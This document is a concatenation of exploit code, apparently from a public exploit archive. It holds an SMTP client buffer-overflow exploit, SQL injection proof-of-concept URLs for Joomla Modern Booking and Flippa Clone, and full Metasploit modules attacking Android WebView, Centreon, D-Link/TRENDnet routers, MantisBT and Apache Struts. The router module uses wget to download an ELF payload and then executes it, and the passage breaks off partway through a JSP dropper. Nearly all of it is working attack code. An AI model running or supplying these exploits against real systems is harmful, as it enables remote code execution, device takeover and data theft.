      OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
      ])
  end

  def on_client_connect(c)
    # Note here that the payload must be split into two parts.
    # The payload gets jumbled in the stack so we need to split
    # and align to get it to execute correctly.
    sploit =  "220 "
    sploit << rand_text(target['Offset'])
    # Can only use the last part starting from 232 bytes in
    sploit << payload.encoded[232..-1]
    sploit << rand_text(2)
    sploit << [target.ret].pack('V')
    sploit << rand_text(12)
    sploit << make_nops(8)
    # And the first part up to 232 bytes
    sploit << payload.encoded[0..231]
    sploit << "ESMTP Sendmail \r\n"

    print_status("Client connected: " + c.peerhost)
    print_status("Sending payload...")

    c.put(sploit)
  end

end
            
###############################################################################################
# Exploit Title: Joomla Modern Booking  - SQL Injection

               # Author: [ Hamed Izadi ]

                        #IRAN

# Vendor Homepage :
https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/modern-booking/
# Vendor Homepage : https://www.unikalus.com/
# Category: [ Webapps ]
# Tested on: [ Ubuntu ]
# Versions: 1.0
# Date: March 22, 2017


# PoC:
# coupon Parameter Vulnerable To SQLi

# Demo:
# https://server/modern-booking-slots?task=saveorder&coupon=test"&start=&option=com_modern_booking


#  L u Arg
###############################################################################################
            
# # # # #
# Exploit Title: Flippa Clone - SQL Injection
# Google Dork: N/A
# Date: 23.03.2017
# Vendor Homepage: http://www.snobscript.com/
# Software: http://www.snobscript.com/downloads/flippa-clone/
# Demo: http://flippaportal.scriptfirm.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/domain-details/[SQL]/Ihsan_Sencan
# http://localhost/[PATH]/site-details/[SQL]/Ihsan_Sencan
# http://localhost/[PATH]/ask-a-question/[SQL]
# Etc...
# # # # #
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/android'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Android

  VULN_CHECK_JS = %Q|
    for (i in top) {
      try {
        top[i].getClass().forName('java.lang.Runtime');
        is_vuln = true; break;
      } catch(e) {}
    }
  |

  autopwn_info(
    :os_name    => OperatingSystems::Match::ANDROID,
    :arch       => ARCH_ARMLE,
    :javascript => true,
    :rank       => ExcellentRanking,
    :vuln_test  => VULN_CHECK_JS
  )

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'Android Browser and WebView addJavascriptInterface Code Execution',
      'Description'         => %q{
            This module exploits a privilege escalation issue in Android < 4.2's WebView component
          that arises when untrusted Javascript code is executed by a WebView that has one or more
          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
          APIs exposed by the Interface and execute arbitrary commands.

          Some distributions of the Android Browser app have an addJavascriptInterface
          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
          4.1.2 release of Android is known to be vulnerable.

          A secondary attack vector involves the WebViews embedded inside a large number
          of Android applications. Ad integrations are perhaps the worst offender here.
          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
          into the page displayed in the WebView, then you can inject the html/js served
          by this module and get a shell.

          Note: Adding a .js to the URL will return plain javascript (no HTML markup).
      },
      'License'             => MSF_LICENSE,
      'Author'              => [
        'jduck', # original msf module
        'joev'   # static server
      ],
      'References'          => [
        ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
        ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
        ['URL', 'http://50.56.33.56/blog/?p=314'],
        ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
        ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
        ['CVE', '2012-6636'], # original CVE for addJavascriptInterface
        ['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
        ['EDB', '31519'],
        ['OSVDB', '97520']
      ],
      'Platform'            => ['android', 'linux'],
      'Arch'                => [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],
      'DefaultOptions'      => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
      'Targets'             => [ [ 'Automatic', {} ] ],
      'DisclosureDate'      => 'Dec 21 2012',
      'DefaultTarget'       => 0,
      'BrowserRequirements' => {
        :source     => 'script',
        :os_name    => OperatingSystems::Match::ANDROID,
        :vuln_test  => VULN_CHECK_JS,
        :vuln_test_error => 'No vulnerable Java objects were found in this web context.'
      }
    ))

    deregister_options('JsObfuscate')
  end

  # Hooked to prevent BrowserExploitServer from attempting to do JS detection
  # on requests for the static javascript file
  def on_request_uri(cli, req)
    if req.uri =~ /\.js/
      serve_static_js(cli, req)
    else
      super
    end
  end

  # The browser appears to be vulnerable, serve the exploit
  def on_request_exploit(cli, req, browser)
    arch = normalize_arch(browser[:arch])
    print_status "Serving #{arch} exploit..."
    send_response_html(cli, html(arch))
  end

  # Called when a client requests a .js route.
  # This is handy for post-XSS.
  def serve_static_js(cli, req)
    arch          = req.qstring['arch']
    response_opts = { 'Content-type' => 'text/javascript' }

    if arch.present?
      print_status("Serving javascript for arch #{normalize_arch arch}")
      send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
    else
      print_status("Serving arch detection javascript")
      send_response(cli, static_arch_detect_js, response_opts)
    end
  end

  # This is served to requests for the static .js file.
  # Because we have to use javascript to detect arch, we have 3 different
  # versions of the static .js file (x86/mips/arm) to choose from. This
  # small snippet of js detects the arch and requests the correct file.
  def static_arch_detect_js
    %Q|
      var arches = {};
      arches['#{ARCH_ARMLE}']  = /arm/i;
      arches['#{ARCH_MIPSLE}'] = /mips/i;
      arches['#{ARCH_X86}']    = /x86/i;

      var arch = null;
      for (var name in arches) {
        if (navigator.platform.toString().match(arches[name])) {
          arch = name;
          break;
        }
      }

      if (arch) {
        // load the script with the correct arch
        var script = document.createElement('script');
        script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
        script.setAttribute('type', 'text/javascript');

        // ensure body is parsed and we won't be in an uninitialized state
        setTimeout(function(){
          var node = document.body \|\| document.head;
          node.appendChild(script);
        }, 100);
      }
    |
  end

  # @return [String] normalized client architecture
  def normalize_arch(arch)
    if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
  end

  def html(arch)
    "<!doctype html><html><body><script>#{add_javascript_interface_exploit_js(arch)}</script></body></html>"
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Centreon SQL and Command Injection',
      'Description'    => %q{
        This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
        Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
        injection in the displayServiceStatus.php component, it is possible to execute arbitrary
        commands as long as there is a valid session registered in the centreon.session table.
        In order to have a valid session, all it takes is a successful login from anybody.
        The exploit itself does not require any authentication.
        This module has been tested successfully on Centreon Enterprise Server 2.2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'MaZ', # Vulnerability Discovery and Analysis
          'juan vazquez' # Metasploit Module
        ],
      'References'     =>
        [
          ['CVE', '2014-3828'],
          ['CVE', '2014-3829'],
          ['US-CERT-VU', '298796'],
          ['URL', 'http://seclists.org/fulldisclosure/2014/Oct/78']
        ],
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Payload'        =>
        {
          'Space'       => 1500, # having into account 8192 as max URI length
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
            }
        },
      'Targets'        =>
        [
          ['Centreon Enterprise Server 2.2', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 15 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
      ], self.class)
  end

  def check
    random_id = rand_text_numeric(5 + rand(8))
    res = send_session_id(random_id)

    unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
      return Exploit::CheckCode::Safe
    end

    injection = "#{random_id}' or 'a'='a"
    res = send_session_id(injection)

    if res && res.code == 200
      if res.body && res.body.to_s =~ /sh: graph: command not found/
        return Exploit::CheckCode::Vulnerable
      elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
        return Exploit::CheckCode::Detected
      end
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
    elsif check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")
    end

    print_status("Exploiting...")
    random_id = rand_text_numeric(5 + rand(8))
    random_char = rand_text_alphanumeric(1)
    session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
    template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
    res = send_template_id(session_injection, template_injection)

    if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
      vprint_status("Output: #{res.body}")
    end
  end

  def send_session_id(session_id)
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
      'vars_get' =>
        {
          'session_id' => session_id
        }
    )

    res
  end

  def send_template_id(session_id, template_id)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
      'vars_get' =>
        {
          'session_id' => session_id,
          'template_id' => template_id
        }
      }, 3)

    res
  end

  def mysql_payload
    p = ''
    payload.encoded.each_byte { |c| p << "#{c},"}
    p
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking # Only tested on Emulated environment

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'D-Link/TRENDnet NCC Service Command Injection',
      'Description'    => %q{
        This module exploits a remote command injection vulnerability on several routers. The
        vulnerability exists in the ncc service, while handling ping commands. This module has
        been tested on a DIR-626L emulated environment. Several D-Link and TRENDnet devices
        are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L
        (Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link
        DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)
        v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link
        DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03 and TRENDnet TEW-731BR (Rev 2)
        v2.01b01
      },
      'Author'         =>
        [
          'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC
          'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC
          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-1187'],
          ['BID', '72816'],
          ['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'],
          ['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'],
          ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052']
        ],
      'Targets'        =>
        # Only tested on D-Link DIR-626L where wget is available
        [
          [ 'Linux mipsel Payload',
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
          [ 'Linux mipsbe Payload',
            {
            'Arch' => ARCH_MIPSBE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DisclosureDate'  => 'Feb 26 2015',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
        OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
        OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']),
        OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
      ], self.class)
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path)
      })

      # unknown if other devices also using mini_httpd
      if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Unknown
  end

  def exec_command(cmd, timeout = 20)
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path),
        'encode_params' => false,
        'vars_post' => {
          'ccp_act' => 'ping_v6',
          'ping_addr' => '$(' + cmd + ')'
        }
      }, timeout)
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end

  def primer
    @payload_url = get_uri
    wget_payload
  end

  def exploit
    print_status("Accessing the vulnerable URL...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
    end

    print_status("Exploiting...")

    @pl = generate_payload_exe
    @payload_url  = ''
    @dropped_elf = rand_text_alpha(rand(5) + 3)

    if datastore['EXTURL'].blank?
      begin
        Timeout.timeout(datastore['HTTPDELAY']) { super }
      rescue Timeout::Error
      end
      chmod_payload
      exec_payload
    else
      @payload_url = datastore['EXTURL']
      wget_payload
      chmod_payload
      exec_payload
    end
  end

  def wget_payload
    upload_path = File.join(datastore['WRITABLEDIR'], @dropped_elf)

    cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{upload_path}"

    print_status("Downloading the payload to the target machine...")
    res = exec_command(cmd)

    if res && [200].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
      register_files_for_cleanup(upload_path)
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
    end
  end

  def chmod_payload
    cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"

    print_status("chmod the payload...")
    res = exec_command(cmd, 1)

    unless res
      fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")
    end

    Rex.sleep(1)
  end

  def exec_payload
    cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)

    print_status("Executing the payload...")
    res = exec_command(cmd, 1)

    unless res
      fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")
    end

    Rex.sleep(1)
  end

  # Handle incoming requests to the HTTP server
  def on_request_uri(cli, request)
    print_status("Request: #{request.uri}")
    if request.uri =~ /#{Regexp.escape(get_resource)}/
      print_status('Sending payload...')
      send_response(cli, @pl)
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include REXML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability',
      'Description'    => %q{
        This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
        The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
        This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
        This version also suffers from another issue. The import page is not checking the correct user level
        of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Egidio Romano', # discovery http://karmainsecurity.com
          'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
          'Christian Mehlmauer'
        ],
      'References'     =>
        [
          ['CVE', '2014-7146'],
          ['CVE', '2014-8598'],
          ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17725'],
          ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17780']
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Generic (PHP Payload)', {}]],
      'DisclosureDate' => 'Nov 8 2014',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
        OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
        OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
      ], self.class)
  end

  def get_mantis_version
    xml = Document.new
    xml.add_element(
    "soapenv:Envelope",
    {
      'xmlns:xsi'     => "http://www.w3.org/2001/XMLSchema-instance",
      'xmlns:xsd'     => "http://www.w3.org/2001/XMLSchema",
      'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
      'xmlns:man'     => "http://futureware.biz/mantisconnect"
    })
    xml.root.add_element("soapenv:Header")
    xml.root.add_element("soapenv:Body")
    body = xml.root.elements[2]
    body.add_element("man:mc_version",
      { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }
    )

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'api', 'soap', 'mantisconnect.php'),
      'ctype'    => 'text/xml; charset=UTF-8',
      'headers'  => { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version'},
      'data'     => xml.to_s
    })
    if res && res.code == 200
      match = res.body.match(/<ns1:mc_versionResponse.*><return xsi:type="xsd:string">(.+)<\/return><\/ns1:mc_versionResponse>/)
      if match && match.length == 2
        version = match[1]
        print_status("Detected Mantis version #{version}")
        return version
      end
    end

    print_status("Can not detect Mantis version")
    return nil
  end

  def check
    version = get_mantis_version

    return Exploit::CheckCode::Unknown if version.nil?

    gem_version = Gem::Version.new(version)
    gem_version_introduced = Gem::Version.new('1.2.0a3')
    gem_version_fixed = Gem::Version.new('1.2.18')

    if gem_version < gem_version_fixed && gem_version >= gem_version_introduced
      return Msf::Exploit::CheckCode::Appears
    else
      return Msf::Exploit::CheckCode::Safe
    end
  end

  def do_login()
    # check for anonymous login
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'login_anon.php')
    })
    # if the redirect contains a username (non empty), anonymous access is enabled
    if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/
      print_status('Anonymous access enabled, no need to log in')
      session_cookie = res.get_cookies
    else
      res = send_request_cgi({
        'method'   => 'GET',
        'uri'      => normalize_uri(target_uri.path, 'login_page.php'),
        'vars_get' => {
          'return'  => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
        }
      })
      session_cookie = res.get_cookies
      print_status('Logging in...')
      res = send_request_cgi({
        'method'    => 'POST',
        'uri'       => normalize_uri(target_uri.path, 'login.php'),
        'cookie'    => session_cookie,
        'vars_post' => {
          'return'  => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
          'username' => datastore['username'],
          'password' => datastore['password'],
          'secure_session' => 'on'
        }
      })
      fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302

      fail_with(Failure::NoAccess, 'Wrong credentials') unless res && !res.redirection.to_s.include?('login_page.php')

      session_cookie = "#{session_cookie} #{res.get_cookies}"
    end

    session_cookie
  end

  def upload_xml(payload_b64, rand_text, cookies, is_check)

    if is_check
      timeout = 20
    else
      timeout = 3
    end

    rand_num = Rex::Text.rand_text_numeric(1, 9)

    print_status('Checking XmlImportExport plugin...')
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'plugin.php'),
      'cookie'   => cookies,
      'vars_get' => {
        'page' => 'XmlImportExport/import'
      }
    })

    unless res && res.code == 200 && res.body
      print_error('Error trying to access XmlImportExport/import page...')
      return false
    end

    if res.body.include?('Plugin is not registered with MantisBT')
      print_error('XMLImportExport plugin is not installed')
      return false
    end

    # Retrieving CSRF token
    if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
      csrf_token = Regexp.last_match[1]
    else
      print_error('Error trying to read CSRF token')
      return false
    end

    # Retrieving default project id
    if res.body =~ /name="project_id" value="([0-9]+)"/
      project_id = Regexp.last_match[1]
    else
      print_error('Error trying to read project id')
      return false
    end

    # Retrieving default category id
    if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/
      category_id = Regexp.last_match[1]
      category_name = Regexp.last_match[2]
    else
      print_error('Error trying to read default category')
      return false
    end

    # Retrieving default max file size
    if res.body =~ /name="max_file_size" value="([0-9]+)"/
      max_file_size = Regexp.last_match[1]
    else
      print_error('Error trying to read default max file size')
      return false
    end

    # Retrieving default step
    if res.body =~ /name="step" value="([0-9]+)"/
      step = Regexp.last_match[1]
    else
      print_error('Error trying to read default step value')
      return false
    end

    xml_file =   %Q|
    <mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1">
        <issue>
            <id>#{ rand_num }</id>
            <project id="#{ project_id }">#{ rand_text }</project>
            <reporter id="#{ rand_num }">#{ rand_text }</reporter>
            <priority id="30">normal</priority>
            <severity id="50">minor</severity>
            <reproducibility id="70">have not tried</reproducibility>
            <status id="#{ rand_num }">new</status>
            <resolution id="#{ rand_num }">open</resolution>
            <projection id="#{ rand_num }">none</projection>
            <category id="#{ category_id }">#{ category_name }</category>
            <date_submitted>1415492267</date_submitted>
            <last_updated>1415507582</last_updated>
            <eta id="#{ rand_num }">none</eta>
            <view_state id="#{ rand_num }">public</view_state>
            <summary>#{ rand_text }</summary>
            <due_date>1</due_date>
            <description>{${eval(base64_decode(#{ payload_b64 }))}}1</description>
        </issue>
    </mantis>
    |

    data = Rex::MIME::Message.new
    data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"")
    data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"")
    data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"")
    data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"")
    data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"")
    data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"")
    data.add_part("link", nil, nil, "form-data; name=\"fallback\"")
    data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"")
    data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"")
    data_post = data.to_s

    print_status('Sending payload...')
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
      'cookie' => cookies,
      'ctype'   => "multipart/form-data; boundary=#{ data.bound }",
      'data'    => data_post
    }, timeout)

    if res && res.body && res.body.include?('APPLICATION ERROR')
      print_error('Error on uploading XML')
      return false
    end

    # request above will time out and return nil on success
    return true
  end

  def exec_php(php_code, is_check = false)
    print_status('Checking access to MantisBT...')
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path)
    })

    fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && (res.code == 200 || res.redirection)

    # remove comments, line breaks and spaces of php_code
    payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')

    # clean b64 payload
    while Rex::Text.encode_base64(payload_clean).include?('=')
      payload_clean = "#{ payload_clean } "
    end
    payload_b64 = Rex::Text.encode_base64(payload_clean)

    rand_text = Rex::Text.rand_text_alpha(5, 8)

    cookies = do_login()

    res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)

    return unless res_payload

    # When a meterpreter session is active, communication with the application is lost.
    # Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
    cookies = do_login()

    print_status("Deleting issue (#{ rand_text })...")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'my_view_page.php'),
      'cookie' => cookies
    })

    unless res && res.code == 200
      print_error('Error trying to access My View page')
      return false
    end

    if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/
      issue_id = Regexp.last_match[1]
     else
      print_error('Error trying to retrieve issue id')
      return false
    end

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
      'cookie'   => cookies,
      'vars_get' => {
        'bug_arr[]' => issue_id,
        'action' => 'DELETE',
      },
    })

    if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/
      csrf_token = Regexp.last_match[1]
    else
      print_error('Error trying to retrieve CSRF token')
      return false
    end

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
      'cookie'   => cookies,
      'vars_post' => {
        'bug_actiongroup_DELETE_token' => csrf_token,
        'bug_arr[]' => issue_id,
        'action' => 'DELETE',
      },
    })

    if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/
      print_status("Issue number (#{ issue_id }) removed")
    else
      print_error("Removing issue number (#{ issue_id }) has failed")
      return false
    end

    # if check return the response
    if is_check
      return res_payload
    else
      return true
    end
  end

  def exploit
    get_mantis_version
    unless exec_php(payload.encoded)
      fail_with(Failure::Unknown, 'Exploit failed, aborting.')
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # It's going to manipulate the Class Loader

  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts versions
        1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
        the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
        to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
        mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
        allow remote attackers to execute arbitrary Java code via crafted parameters.
      },
      'Author'         =>
        [
          'Mark Thomas', # Vulnerability Discovery
          'Przemyslaw Celej', # Vulnerability Discovery
          'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module
          'Matthew Hall <hallm[at]sec-1.com>' # SMB target
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2014-0094'],
          ['CVE', '2014-0112'],
          ['CVE', '2014-0114'],
          ['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
          ['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'],
          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'],
          ['URL', 'https://github.com/rgielen/struts1filter/tree/develop']
        ],
      'Platform'       => %w{ linux win },
      'Payload'        =>
        {
          'Space' => 5000,
          'DisableNops' => true
        },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'        =>
        [
          ['Java',
           {
               'Arch'     => ARCH_JAVA,
               'Platform' => %w{ linux win }
           },
          ],
          ['Linux',
           {
               'Arch'     => ARCH_X86,
               'Platform' => 'linux'
           }
          ],
          ['Windows',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
            {
              'Arch'     => ARCH_JAVA,
              'Platform' => 'win'
            }
          ]
        ],
      'DisclosureDate' => 'Mar 06 2014',
      'DefaultTarget'  => 1))

    register_options(
      [
        Opt::RPORT(8080),
        OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
        OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
      ], self.class)

    deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
  end

  def jsp_dropper(file, exe)
    dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
